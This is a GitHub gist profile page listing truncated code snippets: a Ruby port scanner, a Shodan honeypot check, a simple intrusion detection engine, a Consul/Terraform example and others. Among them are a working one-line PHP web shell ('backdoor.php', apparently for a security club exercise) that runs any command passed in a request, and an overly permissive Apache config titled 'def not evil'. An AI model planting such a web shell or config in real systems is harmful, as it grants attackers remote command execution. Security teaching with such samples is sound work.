Skip to content

Instantly share code, notes, and snippets.

View picatz's full-sized avatar
Graph Theory

Kent Gruber picatz

Graph Theory
View GitHub Profile
#!/usr/bin/env ruby
require 'async/io'
require 'async/semaphore'
def scan_port(host, port, timeout)
Async do |task|
task.with_timeout(timeout) do
address = Async::IO::Address.tcp(host, port)
Async::IO::Socket.connect(address).close
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
require 'async'
require 'shodanz'
client = Shodanz.client.new
# Asynchronously stream banner info from shodan and check any
# IP addresses against the experimental honeypot scoring service.
client.streaming_api.banners do |banner|
if ip = banner['ip_str']
Async do
@picatz
picatz / ids_with_example_rules.rb
Created April 5, 2019 17:30
Simple IDS with example rules
require "packetgen"
class IDS
def initialize(interface: PacketGen.default_iface, &block)
@rules = {}
instance_eval &block
PacketGen.capture(iface: interface) do |packet|
@rules.each do |header, blocks|
next unless packet.is? header
blocks.each do |block|
@picatz
picatz / ids.rb
Last active August 5, 2023 10:00
Simple intrusion detection system engine
require "packetgen"
class IDS
def initialize(interface: PacketGen.default_iface, &block)
@rules = {}
instance_eval &block
PacketGen.capture(iface: interface) do |packet|
@rules.each do |header, blocks|
next unless packet.is? header
blocks.each do |block|
@picatz
picatz / consul_dev_server_cluster_with_terraform_and_docker.tf
Created January 6, 2019 16:36
A consul development server example using terraform and docker.
# Find consul image.
resource "docker_image" "consul" {
name = "consul"
}
# Basically doing the following command:
# docker run -d --name=consul-server-1 -p 8500:8500 consul agent -dev -client=0.0.0.0 -bind=0.0.0.0
resource "docker_container" "consul-bootstrap-server" {
count = 1
name = "consul-server-1"
@picatz
picatz / backdoor.php
Created October 24, 2018 19:07
for IASA club example
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@picatz
picatz / apach2.conf
Created October 24, 2018 18:23
def not evil
<VirtualHost *:80>
<Directory />
Options Indexes FollowSymLinks Includes ExecCGI
AllowOverride All
Require all granted
Allow from all
</Directory>
<Files "*">
order deny,allow
<!DOCTYPE html>
<html>
<script src="https://cdn.rawgit.com/picatz/builderJS/8ca588fc/src/builder.js"></script>
</html>
<script>
// instantiate a new builder
var b = new Builder();
// getTime() is a simple function to return the current
package main
import (
"fmt"
"github.com/subfinder/research/core"
"github.com/subfinder/research/core/sources"
)
func main() {